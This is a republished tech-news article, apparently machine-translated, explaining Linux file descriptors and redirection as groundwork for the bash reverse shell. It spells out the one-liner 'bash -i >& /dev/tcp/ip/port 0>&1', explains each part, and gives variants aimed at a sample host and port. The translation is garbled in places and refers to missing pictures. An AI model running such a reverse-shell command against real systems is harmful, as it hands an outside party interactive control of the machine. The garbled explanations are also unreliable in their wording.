Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to understand Linux redirection and bounce shell

2025-02-27 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/01 Report--

How to understand Linux redirection and rebound shell, I believe that many inexperienced people do not know what to do about it. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

The main reason for Linux redirection here is to learn more about the bouncing shell in Linux.

0x01 file descriptor

There are three kinds of file descriptors for Linux

Standard input: 0

Standard output: 1

Error output: 2

For the file descriptor to know this first, the specific use will be in the redirect, redirection is the operation of the file descriptor

0x02 redirection

Redirection is mainly divided into the following two types

Input redirection

Their use can be clearly seen through the following two pictures.

We can also redirect the wrong content to the

By doing the following, we can put the correct result in test.txt and the wrong result in the test1.txt file

In fact, the & symbol here is to distinguish between a file and a file descriptor. If there is no & symbol here, the system will understand it as a file, not as standard output.

0x03 bounce shell

Here is a very common bounce shell command, which we will use as an example to explain

Bash-I > & / dev/tcp/ip/port 0 > & 1

explain

Bash-I

Means to create an interactive shell, which can be seen in the help documentation

/ dev/tcp/ip/port

In fact, this file does not exist, but when you are listening to this port, read and write the file, you can achieve socket communication between the two hosts.

0 > & 1

Redirect standard input and standard output to the specified file

If you change this command to 2 > & 1, it may be easier to understand.

If you understand the above, it will be easy to understand this.

> &

The consistency of the front and back is to send the interactive shell to our remote host.

After understanding the above, let's change standard output to standard input and see what happens.

The logic in this case is to take the input from / dev/tcp/192.168.1.6/3333 and redirect the output to / dev/tcp/192.168.1.6/3333, thus forming a loop

It can be found that the effect of the two is the same, the only difference between them is the way they open the file, and the other contents are the same as what we said earlier.

Similarly, we change 0 > & 1 to 0 > & 2 has the same effect.

As for the other types of deformation, you can calculate them yourself according to the things mentioned above.

After reading the above, have you mastered how to understand Linux redirection and bounce shell? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report